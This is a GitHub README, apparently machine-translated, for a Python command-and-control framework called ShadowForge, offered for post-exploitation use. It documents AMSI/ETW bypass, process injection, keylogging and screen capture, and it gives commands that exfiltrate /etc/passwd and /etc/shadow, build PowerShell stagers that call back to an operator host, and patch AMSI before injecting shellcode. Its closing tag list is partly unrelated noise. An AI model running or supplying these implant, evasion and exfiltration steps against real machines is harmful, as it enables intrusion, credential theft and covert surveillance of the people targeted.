s1d9e/shadowforge

GitHub: s1d9e/shadowforge

ShadowForge 是一个基于 Python 的高级红队 C2 框架,旨在提供后渗透操作、防御规避及跨平台 Agent 管理功能。

Stars: 0 | Forks: 0

# ShadowForge

Python License Red Team Forks

ShadowForge Logo

**ShadowForge** 是一个高级红队 C2 (Command & Control) 框架。一个用于后渗透、防御规避和进攻性安全操作的完整工具包。

⚠️ 警告✨ 功能📦 安装🚀 使用📦 模块🤝 贡献

## ⚠️ 警告 - 重要 ## ✨ 功能 | Feature | Description | |---------|-------------| | 🖥️ **C2 Server** | 带有 Agent 管理功能的异步 C2 服务器 | | 🤖 **Agent Cross-Platform** | 支持 Windows、Linux、macOS | | 🛡️ **Defense Evasion** | AMSI/ETW 绕过,直接系统调用 | | 💉 **Process Injection** | 经典注入、APC、进程镂空 | | 🔒 **Encryption** | AES-256-GCM、XOR、证书锁定 | | 📡 **C2 Protocols** | HTTP、HTTPS、DNS 隧道 | | 🐍 **Payload Generator** | Python droppers、PS1 stagers、shellcode loaders | | 📦 **Post-Exploitation** | 截屏、键盘记录器、端口扫描、数据渗出 | ### 规避技术 ``` ✓ AMSI Bypass (patch + unhook) ✓ ETW Bypass (NtTraceEvent patching) ✓ Direct Syscalls (bypass API hooks) ✓ RWX Memory Obfuscation ✓ Parent PID Spoofing ✓ Userland Hooks Bypass ✓ Network Tunneling (HTTP/DNS) ✓ Sleep Obfuscation + Jitter ``` ## 📦 安装 ``` # 克隆仓库 git clone https://github.com/s1d9e/shadowforge.git cd shadowforge # 安装依赖 pip install -r requirements.txt # 或使用安装脚本 chmod +x install.sh ./install.sh # 启动 C2 服务器 python server/c2_server.py ``` ### 依赖 ``` pycryptodome>=3.18.0 # AES encryption paramiko>=3.0.0 # SSH functionality pyautogui>=0.9.54 # Cross-platform screenshots pillow>=10.0.0 # Image processing pywin32>=306 # Windows API (Windows only) ``` ## 🚀 使用 ### C2 服务器 ``` # 基本模式 python server/c2_server.py # 带选项 python server/c2_server.py --host 0.0.0.0 --port 8443 --db shadowforge.db ``` ### 交互式 Shell ``` shadowforge> help shadowforge> list # Liste des agents connectés shadowforge> interact # Interagir avec un agent shadowforge> exec whoami # Exécuter commande shadowforge> screenshot # Capturer l'écran shadowforge> keylogger 60 # Keylogger (60 sec) shadowforge> portscan 192.168.1.1 # Scanner ports shadowforge> exfiltrate /etc/passwd # Voler un fichier shadowforge> kill # Tuer l'agent shadowforge> exit # Quitter ``` ### Payload 生成 ``` # Python dropper python exploits/payload_gen.py --mode dropper \ --input agent/agent.py \ --output output/implant.py # PowerShell stager (Meterpreter-compatible) python exploits/payload_gen.py --mode stager \ --lhost 10.0.0.1 \ --lport 8443 \ --format ps1 # Shellcode loader python exploits/payload_gen.py --mode loader \ --shellcode shellcode.bin \ --output output/loader.exe ``` ### CLI 模式 ``` # 生成 payload python shadowforge.py gen --mode stager --lhost 10.0.0.1 --lport 8443 # 启动 listener python shadowforge.py listen --port 4444 # 工具 python shadowforge.py utils hash "password" python shadowforge.py utils b64 "secret" --encode ``` ## 📦 模块 ### Agent 模块 | Module | Description | Usage | |--------|-------------|-------| | `screenshot` | 桌面截图 | `screenshot` | | `keylogger` | 键盘记录 | `keylogger 60` | | `portscanner` | TCP 扫描及服务检测 | `portscan 192.168.1.1` | | `shell` | 命令执行 | `shell whoami` | | `exfiltrate` | 文件下载 | `exfiltrate /etc/shadow` | | `process` | 进程控制 | `process list/kill/inject` | ### Evasion 模块 ``` from agent.evasion import AMSIBypass, ProcessInjection, SyscallWrapper # 修补 AMSI AMSI.patch_amsi_init() # 经典注入 ProcessInjection.classic_injection(pid, shellcode) # 直接系统调用 syscall = SyscallWrapper() addr = syscall.nt_allocate_virtual_memory(pid, size) ``` ## 🏗️ 架构 ``` ┌─────────────────────────────────────────────────────────────────┐ │ SHADOWFORGE FRAMEWORK │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────┐ ┌──────────────────┐ │ │ │ OPERATOR │◄──────►│ C2 SERVER │ │ │ │ (YOU) │ tasks │ (c2_server.py) │ │ │ └──────────────┘ result └────────┬─────────┘ │ │ │ │ │ ┌───────────────────────────┼───────────────────────────┐│ │ │ │ ││ │ ┌──────▼──────┐ ┌───────▼───────┐ ┌───────▼───────┐ │ │ HTTP/HTTPS │ │ LISTENER │ │ SMB │ │ │ BEACON │ │ MANAGER │ │ HANDLER │ │ └─────────────┘ └───────────────┘ └───────────────┘ │ │ │ ┌──────────────────────────────────────────────────────────────────┐ │ │ AGENT IMPLANT │ │ │ │ │ │ ┌─────────┐ ┌───────────┐ ┌────────────┐ ┌──────────────┐ │ │ │ │Screenshot│ │ Keylogger │ │ PortScanner│ │ Exfiltrate │ │ │ │ └─────────┘ └───────────┘ └────────────┘ └──────────────┘ │ │ │ ┌─────────┐ ┌───────────┐ ┌────────────┐ ┌──────────────┐ │ │ │ │ Shell │ │ Process │ │ Persistence│ │ Evasion │ │ │ │ └─────────┘ └───────────┘ └────────────┘ └──────────────┘ │ │ └──────────────────────────────────────────────────────────────────┘ │ │ TARGET MACHINE └─────────────────────────────────────────────────────────────────┘ ``` ## 📝 配置 ### Agent (`config/settings.py`) ``` AGENT_CONFIG = { "c2_server": "https://c2.shadowforge.io", "c2_port": 8443, "poll_interval": 5, "jitter_range": [0, 30], "kill_date": None, "persistence_method": "registry", "encryption_enabled": True, } ``` ### Server ``` C2_CONFIG = { "bind_host": "0.0.0.0", "bind_port": 8443, "database": "shadowforge.db", "max_agents": 1000, "task_timeout": 300, } ``` ## 🏗️ 结构 ``` shadowforge/ ├── agent/ │ ├── agent.py # Implant principal (~710 lignes) │ ├── evasion.py # Techniques d'evasion (~460 lignes) │ └── utils.py # Utilitaires (~280 lignes) ├── server/ │ ├── c2_server.py # Serveur C2 (~650 lignes) │ └── listener.py # Gestionnaire de listeners (~300 lignes) ├── exploits/ │ ├── payload_gen.py # Générateur de payloads (~310 lignes) │ └── exploits.py # Outils d'exploitation (~390 lignes) ├── config/ │ └── settings.py # Configuration ├── docs/ │ ├── techniques.md # Documentation techniques │ └── QUICKSTART.md # Guide rapide ├── shadowforge.py # CLI unifiée (~160 lignes) ├── setup.py # Setuptools ├── requirements.txt # Dépendances ├── README.md ├── LICENSE ├── CHANGELOG.md ├── CONTRIBUTING.md └── SECURITY.md ``` ## 🤝 贡献 欢迎贡献! 1. **Fork** 本项目 2. 创建分支 (`git checkout -b feature/AmazingFeature`) 3. 提交 (`git commit -m 'Add AmazingFeature'`) 4. 推送 (`git push origin feature/AmazingFeature`) 5. 打开一个 **Pull Request** ## 📜 许可证 MIT License - 详见 [LICENSE](LICENSE) ## 🙏 致谢 - 框架灵感来源于现代 C2 技术 - 为法国网络安全社区而开发 🇫🇷 - 进攻性安全研究工具

Made with 🛡️ by s1d9e | ShadowForge C2 Framework - 仅供教育用途

标签:AI合规, AMSI绕过, C2框架, CSV导出, DNS 反向解析, DNS隧道, ETW绕过, Hpfeeds, HTTP工具, IP 地址批量处理, Payload生成器, Python, SSH蜜罐, 代码生成, 内存混淆, 命令控制, 威胁检测, 安全学习资源, 安全测试, 攻击性安全, 数据展示, 数据窃取, 数据统计, 数据采集, 无后门, 渗透测试工具, 私有化部署, 端口扫描, 系统调用, 红队, 进程注入, 逆向工具, 邮件钓鱼, 键盘记录, 防御规避